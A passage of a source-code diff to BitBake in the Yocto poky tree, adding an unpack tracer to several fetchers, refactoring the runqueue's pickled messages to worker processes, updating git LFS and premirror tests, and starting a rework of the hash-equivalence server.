+ module_name, _, class_name = class_path.rpartition(".")
+ module = importlib.import_module(module_name)
+ class_ = getattr(module, class_name)
+ unpack_tracer = class_()
+ else:
+ # fall back to the dummy/abstract class
+ unpack_tracer = DummyUnpackTracer()
+
for url in urls:
if url not in self.ud:
try:
self.ud[url] = FetchData(url, d, localonly)
+ self.ud[url].unpack_tracer = unpack_tracer
except NonLocalMethod:
if localonly:
self.ud[url] = None
@@ -1883,6 +1957,8 @@ class Fetch(object):
if not urls:
urls = self.urls
+ unpack_tracer.start(root, self.ud, self.d)
+
for u in urls:
ud = self.ud[u]
ud.setup_localpath(self.d)
@@ -1890,11 +1966,15 @@ class Fetch(object):
if ud.lockfile:
lf = bb.utils.lockfile(ud.lockfile)
+ unpack_tracer.start_url(u)
ud.method.unpack(ud, root, self.d)
+ unpack_tracer.finish_url(u)
if ud.lockfile:
bb.utils.unlockfile(lf)
+ unpack_tracer.complete()
+
def clean(self, urls=None):
"""
Clean files that the fetcher gets or places
diff --git a/poky/bitbake/lib/bb/fetch2/crate.py b/poky/bitbake/lib/bb/fetch2/crate.py
index 3310ed0050..01d49435c3 100644
--- a/poky/bitbake/lib/bb/fetch2/crate.py
+++ b/poky/bitbake/lib/bb/fetch2/crate.py
@@ -101,8 +101,10 @@ class Crate(Wget):
bp = d.getVar('BP')
if bp == ud.parm.get('name'):
cmd = "tar -xz --no-same-owner -f %s" % thefile
+ ud.unpack_tracer.unpack("crate-extract", rootdir)
else:
cargo_bitbake = self._cargo_bitbake_path(rootdir)
+ ud.unpack_tracer.unpack("cargo-extract", cargo_bitbake)
cmd = "tar -xz --no-same-owner -f %s -C %s" % (thefile, cargo_bitbake)
diff --git a/poky/bitbake/lib/bb/fetch2/git.py b/poky/bitbake/lib/bb/fetch2/git.py
index 4385d0b37a..0deeb5cee1 100644
--- a/poky/bitbake/lib/bb/fetch2/git.py
+++ b/poky/bitbake/lib/bb/fetch2/git.py
@@ -48,10 +48,23 @@ Supported SRC_URI options are:
instead of branch.
The default is "0", set nobranch=1 if needed.
+- subpath
+ Limit the checkout to a specific subpath of the tree.
+ By default, checkout the whole tree, set subpath=<path> if needed
+
+- destsuffix
+ The name of the path in which to place the checkout.
+ By default, the path is git/, set destsuffix=<suffix> if needed
+
- usehead
For local git:// urls to use the current branch HEAD as the revision for use with
AUTOREV. Implies nobranch.
+- lfs
+ Enable the checkout to use LFS for large files. This will download all LFS files
+ in the download step, as the unpack step does not have network access.
+ The default is "1", set lfs=0 to skip.
+
"""
# Copyright (C) 2005 Richard Purdie
@@ -462,8 +475,8 @@ class Git(FetchMethod):
# Only do this if the unpack resulted in a .git/lfs directory being
# created; this only happens if at least one blob needed to be
# downloaded.
- if os.path.exists(os.path.join(tmpdir, "git", ".git", "lfs")):
- runfetchcmd("tar -cf - lfs | tar -xf - -C %s" % ud.clonedir, d, workdir="%s/git/.git" % tmpdir)
+ if os.path.exists(os.path.join(ud.destdir, ".git", "lfs")):
+ runfetchcmd("tar -cf - lfs | tar -xf - -C %s" % ud.clonedir, d, workdir="%s/.git" % ud.destdir)
def build_mirror_data(self, ud, d):
@@ -589,6 +602,8 @@ class Git(FetchMethod):
destdir = ud.destdir = os.path.join(destdir, destsuffix)
if os.path.exists(destdir):
bb.utils.prunedir(destdir)
+ if not ud.bareclone:
+ ud.unpack_tracer.unpack("git", destdir)
need_lfs = self._need_lfs(ud)
@@ -627,6 +642,8 @@ class Git(FetchMethod):
raise bb.fetch2.FetchError("Repository %s has LFS content, install git-lfs on host to download (or set lfs=0 to ignore it)" % (repourl))
elif not need_lfs:
bb.note("Repository %s has LFS content but it is not being fetched" % (repourl))
+ else:
+ runfetchcmd("%s lfs install" % ud.basecmd, d, workdir=destdir)
if not ud.nocheckout:
if subpath:
@@ -686,8 +703,11 @@ class Git(FetchMethod):
Check if the repository has 'lfs' (large file) content
"""
- # The bare clonedir doesn't use the remote names; it has the branch immediately.
- if wd == ud.clonedir:
+ if ud.nobranch:
+ # If no branch is specified, use the current git commit
+ refname = self._build_revision(ud, d, ud.names[0])
+ elif wd == ud.clonedir:
+ # The bare clonedir doesn't use the remote names; it has the branch immediately.
refname = ud.branches[ud.names[0]]
else:
refname = "origin/%s" % ud.branches[ud.names[0]]
diff --git a/poky/bitbake/lib/bb/fetch2/gitsm.py b/poky/bitbake/lib/bb/fetch2/gitsm.py
index a87361ccf3..f7f3af7212 100644
--- a/poky/bitbake/lib/bb/fetch2/gitsm.py
+++ b/poky/bitbake/lib/bb/fetch2/gitsm.py
@@ -218,6 +218,10 @@ class GitSM(Git):
try:
newfetch = Fetch([url], d, cache=False)
+ # modpath is needed by unpack tracer to calculate submodule
+ # checkout dir
+ new_ud = newfetch.ud[url]
+ new_ud.modpath = modpath
newfetch.unpack(root=os.path.dirname(os.path.join(repo_conf, 'modules', module)))
except Exception as e:
logger.error('gitsm: submodule unpack failed: %s %s' % (type(e).__name__, str(e)))
diff --git a/poky/bitbake/lib/bb/fetch2/hg.py b/poky/bitbake/lib/bb/fetch2/hg.py
index 063e13008a..cbff8c490c 100644
--- a/poky/bitbake/lib/bb/fetch2/hg.py
+++ b/poky/bitbake/lib/bb/fetch2/hg.py
@@ -242,6 +242,7 @@ class Hg(FetchMethod):
revflag = "-r %s" % ud.revision
subdir = ud.parm.get("destsuffix", ud.module)
codir = "%s/%s" % (destdir, subdir)
+ ud.unpack_tracer.unpack("hg", codir)
scmdata = ud.parm.get("scmdata", "")
if scmdata != "nokeep":
diff --git a/poky/bitbake/lib/bb/fetch2/npm.py b/poky/bitbake/lib/bb/fetch2/npm.py
index f83485ad85..15f3f19bc8 100644
--- a/poky/bitbake/lib/bb/fetch2/npm.py
+++ b/poky/bitbake/lib/bb/fetch2/npm.py
@@ -298,6 +298,7 @@ class Npm(FetchMethod):
destsuffix = ud.parm.get("destsuffix", "npm")
destdir = os.path.join(rootdir, destsuffix)
npm_unpack(ud.localpath, destdir, d)
+ ud.unpack_tracer.unpack("npm", destdir)
def clean(self, ud, d):
"""Clean any existing full or partial download"""
diff --git a/poky/bitbake/lib/bb/fetch2/npmsw.py b/poky/bitbake/lib/bb/fetch2/npmsw.py
index 4ff2c8ffc3..ff5f8dc755 100644
--- a/poky/bitbake/lib/bb/fetch2/npmsw.py
+++ b/poky/bitbake/lib/bb/fetch2/npmsw.py
@@ -191,7 +191,9 @@ class NpmShrinkWrap(FetchMethod):
else:
raise ParameterError("Unsupported dependency: %s" % name, ud.url)
+ # name is needed by unpack tracer for module mapping
ud.deps.append({
+ "name": name,
"url": url,
"localpath": localpath,
"extrapaths": extrapaths,
@@ -270,6 +272,7 @@ class NpmShrinkWrap(FetchMethod):
destsuffix = ud.parm.get("destsuffix")
if destsuffix:
destdir = os.path.join(rootdir, destsuffix)
+ ud.unpack_tracer.unpack("npm-shrinkwrap", destdir)
bb.utils.mkdirhier(destdir)
bb.utils.copyfile(ud.shrinkwrap_file,
diff --git a/poky/bitbake/lib/bb/runqueue.py b/poky/bitbake/lib/bb/runqueue.py
index 56147c50a8..02d7ff9768 100644
--- a/poky/bitbake/lib/bb/runqueue.py
+++ b/poky/bitbake/lib/bb/runqueue.py
@@ -157,7 +157,7 @@ class RunQueueScheduler(object):
(mc, fn, taskname, taskfn) = split_tid_mcfn(tid)
self.stamps[tid] = bb.parse.siggen.stampfile_mcfn(taskname, taskfn, extrainfo=False)
if tid in self.rq.runq_buildable:
- self.buildable.append(tid)
+ self.buildable.add(tid)
self.rev_prio_map = None
self.is_pressure_usable()
@@ -1021,6 +1021,7 @@ class RunQueueData:
for tid in list(runall_tids):
mark_active(tid, 1)
+ self.target_tids.append(tid)
if self.cooker.configuration.force:
invalidate_task(tid, False)
@@ -1318,6 +1319,16 @@ class RunQueue:
self.worker = {}
self.fakeworker = {}
+ @staticmethod
+ def send_pickled_data(worker, data, name):
+ msg = bytearray()
+ msg.extend(b"<" + name.encode() + b">")
+ pickled_data = pickle.dumps(data)
+ msg.extend(len(pickled_data).to_bytes(4, 'big'))
+ msg.extend(pickled_data)
+ msg.extend(b"</" + name.encode() + b">")
+ worker.stdin.write(msg)
+
def _start_worker(self, mc, fakeroot = False, rqexec = None):
logger.debug("Starting bitbake-worker")
magic = "decafbad"
@@ -1355,9 +1366,9 @@ class RunQueue:
"umask" : self.cfgData.getVar("BB_DEFAULT_UMASK"),
}
- worker.stdin.write(b"<cookerconfig>" + pickle.dumps(self.cooker.configuration) + b"</cookerconfig>")
- worker.stdin.write(b"<extraconfigdata>" + pickle.dumps(self.cooker.extraconfigdata) + b"</extraconfigdata>")
- worker.stdin.write(b"<workerdata>" + pickle.dumps(workerdata) + b"</workerdata>")
+ RunQueue.send_pickled_data(worker, self.cooker.configuration, "cookerconfig")
+ RunQueue.send_pickled_data(worker, self.cooker.extraconfigdata, "extraconfigdata")
+ RunQueue.send_pickled_data(worker, workerdata, "workerdata")
worker.stdin.flush()
return RunQueueWorker(worker, workerpipe)
@@ -1367,7 +1378,7 @@ class RunQueue:
return
logger.debug("Teardown for bitbake-worker")
try:
- worker.process.stdin.write(b"<quit></quit>")
+ RunQueue.send_pickled_data(worker.process, b"", "quit")
worker.process.stdin.flush()
worker.process.stdin.close()
except IOError:
@@ -1756,20 +1767,20 @@ class RunQueue:
for tid in invalidtasks:
(mc, fn, taskname, taskfn) = split_tid_mcfn(tid)
pn = self.rqdata.dataCaches[mc].pkg_fn[taskfn]
- h = self.rqdata.runtaskentries[tid].hash
+ h = self.rqdata.runtaskentries[tid].unihash
matches = bb.siggen.find_siginfo(pn, taskname, [], self.cooker.databuilder.mcdata[mc])
match = None
for m in matches:
if h in m:
match = m
if match is None:
- bb.fatal("Can't find a task we're supposed to have written out? (hash: %s)?" % h)
+ bb.fatal("Can't find a task we're supposed to have written out? (hash: %s tid: %s)?" % (h, tid))
matches = {k : v for k, v in iter(matches.items()) if h not in k}
if matches:
latestmatch = sorted(matches.keys(), key=lambda f: matches[f])[-1]
prevh = __find_sha256__.search(latestmatch).group(0)
output = bb.siggen.compare_sigfiles(latestmatch, match, recursecb)
- bb.plain("\nTask %s:%s couldn't be used from the cache because:\n We need hash %s, closest matching task was %s\n " % (pn, taskname, h, prevh) + '\n '.join(output))
+ bb.plain("\nTask %s:%s couldn't be used from the cache because:\n We need hash %s, most recent matching task was %s\n " % (pn, taskname, h, prevh) + '\n '.join(output))
class RunQueueExecute:
@@ -1851,11 +1862,6 @@ class RunQueueExecute:
self.tasks_notcovered = set()
self.scenequeue_notneeded = set()
- # We can't skip specified target tasks which aren't setscene tasks
- self.cantskip = set(self.rqdata.target_tids)
- self.cantskip.difference_update(self.rqdata.runq_setscene_tids)
- self.cantskip.intersection_update(self.rqdata.runtaskentries)
-
schedulers = self.get_schedulers()
for scheduler in schedulers:
if self.scheduler == scheduler.name:
@@ -1868,7 +1874,23 @@ class RunQueueExecute:
#if self.rqdata.runq_setscene_tids:
self.sqdata = SQData()
- build_scenequeue_data(self.sqdata, self.rqdata, self.rq, self.cooker, self.stampcache, self)
+ build_scenequeue_data(self.sqdata, self.rqdata, self)
+
+ update_scenequeue_data(self.sqdata.sq_revdeps, self.sqdata, self.rqdata, self.rq, self.cooker, self.stampcache, self, summary=True)
+
+ # Compute a list of 'stale' sstate tasks where the current hash does not match the one
+ # in any stamp files. Pass the list out to metadata as an event.
+ found = {}
+ for tid in self.rqdata.runq_setscene_tids:
+ (mc, fn, taskname, taskfn) = split_tid_mcfn(tid)
+ stamps = bb.build.find_stale_stamps(taskname, taskfn)
+ if stamps:
+ if mc not in found:
+ found[mc] = {}
+ found[mc][tid] = stamps
+ for mc in found:
+ event = bb.event.StaleSetSceneTasks(found[mc])
+ bb.event.fire(event, self.cooker.databuilder.mcdata[mc])
def runqueue_process_waitpid(self, task, status, fakerootlog=None):
@@ -1894,14 +1916,14 @@ class RunQueueExecute:
def finish_now(self):
for mc in self.rq.worker:
try:
- self.rq.worker[mc].process.stdin.write(b"<finishnow></finishnow>")
+ RunQueue.send_pickled_data(self.rq.worker[mc].process, b"", "finishnow")
self.rq.worker[mc].process.stdin.flush()
except IOError:
# worker must have died?
pass
for mc in self.rq.fakeworker:
try:
- self.rq.fakeworker[mc].process.stdin.write(b"<finishnow></finishnow>")
+ RunQueue.send_pickled_data(self.rq.fakeworker[mc].process, b"", "finishnow")
self.rq.fakeworker[mc].process.stdin.flush()
except IOError:
# worker must have died?
@@ -2196,10 +2218,10 @@ class RunQueueExecute:
if 'fakeroot' in taskdep and taskname in taskdep['fakeroot'] and not self.cooker.configuration.dry_run:
if not mc in self.rq.fakeworker:
self.rq.start_fakeworker(self, mc)
- self.rq.fakeworker[mc].process.stdin.write(b"<runtask>" + pickle.dumps(runtask) + b"</runtask>")
+ RunQueue.send_pickled_data(self.rq.fakeworker[mc].process, runtask, "runtask")
self.rq.fakeworker[mc].process.stdin.flush()
else:
- self.rq.worker[mc].process.stdin.write(b"<runtask>" + pickle.dumps(runtask) + b"</runtask>")
+ RunQueue.send_pickled_data(self.rq.worker[mc].process, runtask, "runtask")
self.rq.worker[mc].process.stdin.flush()
self.build_stamps[task] = bb.parse.siggen.stampfile_mcfn(taskname, taskfn, extrainfo=False)
@@ -2297,10 +2319,10 @@ class RunQueueExecute:
self.rq.state = runQueueFailed
self.stats.taskFailed()
return True
- self.rq.fakeworker[mc].process.stdin.write(b"<runtask>" + pickle.dumps(runtask) + b"</runtask>")
+ RunQueue.send_pickled_data(self.rq.fakeworker[mc].process, runtask, "runtask")
self.rq.fakeworker[mc].process.stdin.flush()
else:
- self.rq.worker[mc].process.stdin.write(b"<runtask>" + pickle.dumps(runtask) + b"</runtask>")
+ RunQueue.send_pickled_data(self.rq.worker[mc].process, runtask, "runtask")
self.rq.worker[mc].process.stdin.flush()
self.build_stamps[task] = bb.parse.siggen.stampfile_mcfn(taskname, taskfn, extrainfo=False)
@@ -2388,7 +2410,7 @@ class RunQueueExecute:
return
notcovered = set(self.scenequeue_notcovered)
- notcovered |= self.cantskip
+ notcovered |= self.sqdata.cantskip
for tid in self.scenequeue_notcovered:
notcovered |= self.sqdata.sq_covered_tasks[tid]
notcovered |= self.sqdata.unskippable.difference(self.rqdata.runq_setscene_tids)
@@ -2502,9 +2524,9 @@ class RunQueueExecute:
if changed:
for mc in self.rq.worker:
- self.rq.worker[mc].process.stdin.write(b"<newtaskhashes>" + pickle.dumps(bb.parse.siggen.get_taskhashes()) + b"</newtaskhashes>")
+ RunQueue.send_pickled_data(self.rq.worker[mc].process, bb.parse.siggen.get_taskhashes(), "newtaskhashes")
for mc in self.rq.fakeworker:
- self.rq.fakeworker[mc].process.stdin.write(b"<newtaskhashes>" + pickle.dumps(bb.parse.siggen.get_taskhashes()) + b"</newtaskhashes>")
+ RunQueue.send_pickled_data(self.rq.fakeworker[mc].process, bb.parse.siggen.get_taskhashes(), "newtaskhashes")
hashequiv_logger.debug(pprint.pformat("Tasks changed:\n%s" % (changed)))
@@ -2767,12 +2789,17 @@ class SQData(object):
# A list of normal tasks a setscene task covers
self.sq_covered_tasks = {}
-def build_scenequeue_data(sqdata, rqdata, rq, cooker, stampcache, sqrq):
+def build_scenequeue_data(sqdata, rqdata, sqrq):
sq_revdeps = {}
sq_revdeps_squash = {}
sq_collated_deps = {}
+ # We can't skip specified target tasks which aren't setscene tasks
+ sqdata.cantskip = set(rqdata.target_tids)
+ sqdata.cantskip.difference_update(rqdata.runq_setscene_tids)
+ sqdata.cantskip.intersection_update(rqdata.runtaskentries)
+
# We need to construct a dependency graph for the setscene functions. Intermediate
# dependencies between the setscene tasks only complicate the code. This code
# therefore aims to collapse the huge runqueue dependency tree into a smaller one
@@ -2841,7 +2868,7 @@ def build_scenequeue_data(sqdata, rqdata, rq, cooker, stampcache, sqrq):
for tid in rqdata.runtaskentries:
if not rqdata.runtaskentries[tid].revdeps:
sqdata.unskippable.add(tid)
- sqdata.unskippable |= sqrq.cantskip
+ sqdata.unskippable |= sqdata.cantskip
while new:
new = False
orig = sqdata.unskippable.copy()
@@ -2951,22 +2978,6 @@ def build_scenequeue_data(sqdata, rqdata, rq, cooker, stampcache, sqrq):
sqrq.sq_deferred[tid] = sqdata.hashes[h]
bb.debug(1, "Deferring %s after %s" % (tid, sqdata.hashes[h]))
- update_scenequeue_data(sqdata.sq_revdeps, sqdata, rqdata, rq, cooker, stampcache, sqrq, summary=True)
-
- # Compute a list of 'stale' sstate tasks where the current hash does not match the one
- # in any stamp files. Pass the list out to metadata as an event.
- found = {}
- for tid in rqdata.runq_setscene_tids:
- (mc, fn, taskname, taskfn) = split_tid_mcfn(tid)
- stamps = bb.build.find_stale_stamps(taskname, taskfn)
- if stamps:
- if mc not in found:
- found[mc] = {}
- found[mc][tid] = stamps
- for mc in found:
- event = bb.event.StaleSetSceneTasks(found[mc])
- bb.event.fire(event, cooker.databuilder.mcdata[mc])
-
def check_setscene_stamps(tid, rqdata, rq, stampcache, noexecstamp=False):
(mc, fn, taskname, taskfn) = split_tid_mcfn(tid)
diff --git a/poky/bitbake/lib/bb/tests/fetch.py b/poky/bitbake/lib/bb/tests/fetch.py
index eeb7a31471..c7a23407c1 100644
--- a/poky/bitbake/lib/bb/tests/fetch.py
+++ b/poky/bitbake/lib/bb/tests/fetch.py
@@ -2277,7 +2277,7 @@ class GitLfsTest(FetcherTest):
@skipIfNoGitLFS()
@skipIfNoNetwork()
- def test_real_git_lfs_repo_succeeds(self):
+ def test_real_git_lfs_repo_skips(self):
self.d.setVar('SRC_URI', "git://gitlab.com/gitlab-examples/lfs.git;protocol=https;branch=master;lfs=0")
f = self.get_real_git_lfs_file()
# This is the actual non-smudged placeholder file on the repo if git-lfs does not run
@@ -2290,24 +2290,41 @@ class GitLfsTest(FetcherTest):
with open(f) as fh:
self.assertEqual(lfs_file, fh.read())
+ @skipIfNoGitLFS()
def test_lfs_enabled(self):
import shutil
uri = 'git://%s;protocol=file;lfs=1;branch=master' % self.srcdir
self.d.setVar('SRC_URI', uri)
- # Careful: suppress initial attempt at downloading until
- # we know whether git-lfs is installed.
- fetcher, ud = self.fetch(uri=None, download=False)
- self.assertIsNotNone(ud.method._find_git_lfs)
+ # With git-lfs installed, test that we can fetch and unpack
+ fetcher, ud = self.fetch()
+ shutil.rmtree(self.gitdir, ignore_errors=True)
+ fetcher.unpack(self.d.getVar('WORKDIR'))
- # If git-lfs can be found, the unpack should be successful. Only
- # attempt this with the real live copy of git-lfs installed.
- if ud.method._find_git_lfs(self.d):
- fetcher.download()
- shutil.rmtree(self.gitdir, ignore_errors=True)
- fetcher.unpack(self.d.getVar('WORKDIR'))
+ @skipIfNoGitLFS()
+ def test_lfs_disabled(self):
+ import shutil
+
+ uri = 'git://%s;protocol=file;lfs=0;branch=master' % self.srcdir
+ self.d.setVar('SRC_URI', uri)
+ # Verify that the fetcher can survive even if the source
+ # repository has Git LFS usage configured.
+ fetcher, ud = self.fetch()
+ fetcher.unpack(self.d.getVar('WORKDIR'))
+
+ def test_lfs_enabled_not_installed(self):
+ import shutil
+
+ uri = 'git://%s;protocol=file;lfs=1;branch=master' % self.srcdir
+ self.d.setVar('SRC_URI', uri)
+
+ # Careful: suppress initial attempt at downloading
+ fetcher, ud = self.fetch(uri=None, download=False)
+
+ # Artificially assert that git-lfs is not installed, so
+ # we can verify a failure to unpack in it's absence.
old_find_git_lfs = ud.method._find_git_lfs
try:
# If git-lfs cannot be found, the unpack should throw an error
@@ -2319,29 +2336,21 @@ class GitLfsTest(FetcherTest):
finally:
ud.method._find_git_lfs = old_find_git_lfs
- def test_lfs_disabled(self):
+ def test_lfs_disabled_not_installed(self):
import shutil
uri = 'git://%s;protocol=file;lfs=0;branch=master' % self.srcdir
self.d.setVar('SRC_URI', uri)
- # In contrast to test_lfs_enabled(), allow the implicit download
- # done by self.fetch() to occur here. The point of this test case
- # is to verify that the fetcher can survive even if the source
- # repository has Git LFS usage configured.
- fetcher, ud = self.fetch()
- self.assertIsNotNone(ud.method._find_git_lfs)
+ # Careful: suppress initial attempt at downloading
+ fetcher, ud = self.fetch(uri=None, download=False)
+ # Artificially assert that git-lfs is not installed, so
+ # we can verify a failure to unpack in it's absence.
old_find_git_lfs = ud.method._find_git_lfs
try:
- # If git-lfs can be found, the unpack should be successful. A
- # live copy of git-lfs is not required for this case, so
- # unconditionally forge its presence.
- ud.method._find_git_lfs = lambda d: True
- shutil.rmtree(self.gitdir, ignore_errors=True)
- fetcher.unpack(self.d.getVar('WORKDIR'))
- # If git-lfs cannot be found, the unpack should be successful
-
+ # Even if git-lfs cannot be found, the unpack should be successful
+ fetcher.download()
ud.method._find_git_lfs = lambda d: False
shutil.rmtree(self.gitdir, ignore_errors=True)
fetcher.unpack(self.d.getVar('WORKDIR'))
@@ -3042,9 +3051,11 @@ class FetchPremirroronlyLocalTest(FetcherTest):
self.d.setVar("BB_FETCH_PREMIRRORONLY", "1")
self.d.setVar("BB_NO_NETWORK", "1")
self.d.setVar("PREMIRRORS", self.recipe_url + " " + "file://{}".format(self.mirrordir) + " \n")
+ self.mirrorname = "git2_git.fake.repo.bitbake.tar.gz"
+ self.mirrorfile = os.path.join(self.mirrordir, self.mirrorname)
+ self.testfilename = "bitbake-fetch.test"
def make_git_repo(self):
- self.mirrorname = "git2_git.fake.repo.bitbake.tar.gz"
recipeurl = "git:/git.fake.repo/bitbake"
os.makedirs(self.gitdir)
self.git_init(cwd=self.gitdir)
@@ -3054,15 +3065,23 @@ class FetchPremirroronlyLocalTest(FetcherTest):
def git_new_commit(self):
import random
- testfilename = "bibake-fetch.test"
os.unlink(os.path.join(self.mirrordir, self.mirrorname))
- with open(os.path.join(self.gitdir, testfilename), "w") as testfile:
- testfile.write("Useless random data {}".format(random.random()))
- self.git("add {}".format(testfilename), self.gitdir)
- self.git("commit -a -m \"This random commit {}. I'm useless.\"".format(random.random()), self.gitdir)
+ branch = self.git("branch --show-current", self.gitdir).split()
+ with open(os.path.join(self.gitdir, self.testfilename), "w") as testfile:
+ testfile.write("File {} from branch {}; Useless random data {}".format(self.testfilename, branch, random.random()))
+ self.git("add {}".format(self.testfilename), self.gitdir)
+ self.git("commit -a -m \"This random commit {} in branch {}. I'm useless.\"".format(random.random(), branch), self.gitdir)
bb.process.run('tar -czvf {} .'.format(os.path.join(self.mirrordir, self.mirrorname)), cwd = self.gitdir)
return self.git("rev-parse HEAD", self.gitdir).strip()
+ def git_new_branch(self, name):
+ self.git_new_commit()
+ head = self.git("rev-parse HEAD", self.gitdir).strip()
+ self.git("checkout -b {}".format(name), self.gitdir)
+ newrev = self.git_new_commit()
+ self.git("checkout {}".format(head), self.gitdir)
+ return newrev
+
def test_mirror_commit_nonexistent(self):
self.make_git_repo()
self.d.setVar("SRCREV", "0"*40)
@@ -3083,6 +3102,59 @@ class FetchPremirroronlyLocalTest(FetcherTest):
with self.assertRaises(bb.fetch2.NetworkAccess):
fetcher.download()
+ def test_mirror_tarball_multiple_branches(self):
+ """
+ test if PREMIRRORS can handle multiple name/branches correctly
+ both branches have required revisions
+ """
+ self.make_git_repo()
+ branch1rev = self.git_new_branch("testbranch1")
+ branch2rev = self.git_new_branch("testbranch2")
+ self.recipe_url = "git://git.fake.repo/bitbake;branch=testbranch1,testbranch2;protocol=https;name=branch1,branch2"
+ self.d.setVar("SRCREV_branch1", branch1rev)
+ self.d.setVar("SRCREV_branch2", branch2rev)
+ fetcher = bb.fetch.Fetch([self.recipe_url], self.d)
+ self.assertTrue(os.path.exists(self.mirrorfile), "Mirror file doesn't exist")
+ fetcher.download()
+ fetcher.unpack(os.path.join(self.tempdir, "unpacked"))
+ unpacked = os.path.join(self.tempdir, "unpacked", "git", self.testfilename)
+ self.assertTrue(os.path.exists(unpacked), "Repo has not been unpackaged properly!")
+ with open(unpacked, 'r') as f:
+ content = f.read()
+ ## We expect to see testbranch1 in the file, not master, not testbranch2
+ self.assertTrue(content.find("testbranch1") != -1, "Wrong branch has been checked out!")
+
+ def test_mirror_tarball_multiple_branches_nobranch(self):
+ """
+ test if PREMIRRORS can handle multiple name/branches correctly
+ Unbalanced name/branches raises ParameterError
+ """
+ self.make_git_repo()
+ branch1rev = self.git_new_branch("testbranch1")
+ branch2rev = self.git_new_branch("testbranch2")
+ self.recipe_url = "git://git.fake.repo/bitbake;branch=testbranch1;protocol=https;name=branch1,branch2"
+ self.d.setVar("SRCREV_branch1", branch1rev)
+ self.d.setVar("SRCREV_branch2", branch2rev)
+ with self.assertRaises(bb.fetch2.ParameterError):
+ fetcher = bb.fetch.Fetch([self.recipe_url], self.d)
+
+ def test_mirror_tarball_multiple_branches_norev(self):
+ """
+ test if PREMIRRORS can handle multiple name/branches correctly
+ one of the branches specifies non existing SRCREV
+ """
+ self.make_git_repo()
+ branch1rev = self.git_new_branch("testbranch1")
+ branch2rev = self.git_new_branch("testbranch2")
+ self.recipe_url = "git://git.fake.repo/bitbake;branch=testbranch1,testbranch2;protocol=https;name=branch1,branch2"
+ self.d.setVar("SRCREV_branch1", branch1rev)
+ self.d.setVar("SRCREV_branch2", "0"*40)
+ fetcher = bb.fetch.Fetch([self.recipe_url], self.d)
+ self.assertTrue(os.path.exists(self.mirrorfile), "Mirror file doesn't exist")
+ with self.assertRaises(bb.fetch2.NetworkAccess):
+ fetcher.download()
+
+
class FetchPremirroronlyNetworkTest(FetcherTest):
def setUp(self):
diff --git a/poky/bitbake/lib/bb/utils.py b/poky/bitbake/lib/bb/utils.py
index b401fa5ec7..61ffad92ce 100644
--- a/poky/bitbake/lib/bb/utils.py
+++ b/poky/bitbake/lib/bb/utils.py
@@ -50,7 +50,7 @@ def clean_context():
def get_context():
return _context
-
+
def set_context(ctx):
_context = ctx
@@ -212,8 +212,8 @@ def explode_dep_versions2(s, *, sort=True):
inversion = True
# This list is based on behavior and supported comparisons from deb, opkg and rpm.
#
- # Even though =<, <<, ==, !=, =>, and >> may not be supported,
- # we list each possibly valid item.
+ # Even though =<, <<, ==, !=, =>, and >> may not be supported,
+ # we list each possibly valid item.
# The build system is responsible for validation of what it supports.
if i.startswith(('<=', '=<', '<<', '==', '!=', '>=', '=>', '>>')):
lastcmp = i[0:2]
@@ -347,7 +347,7 @@ def _print_exception(t, value, tb, realfile, text, context):
exception = traceback.format_exception_only(t, value)
error.append('Error executing a python function in %s:\n' % realfile)
- # Strip 'us' from the stack (better_exec call) unless that was where the
+ # Strip 'us' from the stack (better_exec call) unless that was where the
# error came from
if tb.tb_next is not None:
tb = tb.tb_next
@@ -746,9 +746,9 @@ def prunedir(topdir, ionice=False):
# but thats possibly insane and suffixes is probably going to be small
#
def prune_suffix(var, suffixes, d):
- """
+ """
See if var ends with any of the suffixes listed and
- remove it if found
+ remove it if found
"""
for suffix in suffixes:
if suffix and var.endswith(suffix):
@@ -1001,9 +1001,9 @@ def umask(new_mask):
os.umask(current_mask)
def to_boolean(string, default=None):
- """
+ """
Check input string and return boolean value True/False/None
- depending upon the checks
+ depending upon the checks
"""
if not string:
return default
diff --git a/poky/bitbake/lib/codegen.py b/poky/bitbake/lib/codegen.py
index 6955a7ada5..018b283177 100644
--- a/poky/bitbake/lib/codegen.py
+++ b/poky/bitbake/lib/codegen.py
@@ -392,19 +392,7 @@ class SourceGenerator(NodeVisitor):
def visit_Name(self, node):
self.write(node.id)
- def visit_Str(self, node):
- self.write(repr(node.s))
-
- def visit_Bytes(self, node):
- self.write(repr(node.s))
-
- def visit_Num(self, node):
- self.write(repr(node.n))
-
def visit_Constant(self, node):
- # Python 3.8 deprecated visit_Num(), visit_Str(), visit_Bytes(),
- # visit_NameConstant() and visit_Ellipsis(). They can be removed once we
- # require 3.8+.
self.write(repr(node.value))
def visit_Tuple(self, node):
diff --git a/poky/bitbake/lib/hashserv/__init__.py b/poky/bitbake/lib/hashserv/__init__.py
index 9cb3fd57a5..552a33278f 100644
--- a/poky/bitbake/lib/hashserv/__init__.py
+++ b/poky/bitbake/lib/hashserv/__init__.py
@@ -6,150 +6,126 @@
import asyncio
from contextlib import closing
import re
-import sqlite3
import itertools
import json
+from collections import namedtuple
+from urllib.parse import urlparse
UNIX_PREFIX = "unix://"
+WS_PREFIX = "ws://"
+WSS_PREFIX = "wss://"
ADDR_TYPE_UNIX = 0
ADDR_TYPE_TCP = 1
+ADDR_TYPE_WS = 2
-# The Python async server defaults to a 64K receive buffer, so we hardcode our
-# maximum chunk size. It would be better if the client and server reported to
-# each other what the maximum chunk sizes were, but that will slow down the
-# connection setup with a round trip delay so I'd rather not do that unless it
-# is necessary
-DEFAULT_MAX_CHUNK = 32 * 1024
-
-UNIHASH_TABLE_DEFINITION = (
- ("method", "TEXT NOT NULL", "UNIQUE"),
- ("taskhash", "TEXT NOT NULL", "UNIQUE"),
- ("unihash", "TEXT NOT NULL", ""),
-)
-
-UNIHASH_TABLE_COLUMNS = tuple(name for name, _, _ in UNIHASH_TABLE_DEFINITION)
-
-OUTHASH_TABLE_DEFINITION = (
- ("method", "TEXT NOT NULL", "UNIQUE"),
- ("taskhash", "TEXT NOT NULL", "UNIQUE"),
- ("outhash", "TEXT NOT NULL", "UNIQUE"),
- ("created", "DATETIME", ""),
-
- # Optional fields
- ("owner", "TEXT", ""),
- ("PN", "TEXT", ""),
- ("PV", "TEXT", ""),
- ("PR", "TEXT", ""),
- ("task", "TEXT", ""),
- ("outhash_siginfo", "TEXT", ""),
-)
-
-OUTHASH_TABLE_COLUMNS = tuple(name for name, _, _ in OUTHASH_TABLE_DEFINITION)
-
-def _make_table(cursor, name, definition):
- cursor.execute('''
- CREATE TABLE IF NOT EXISTS {name} (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- {fields}
- UNIQUE({unique})
- )
- '''.format(
- name=name,
- fields=" ".join("%s %s," % (name, typ) for name, typ, _ in definition),
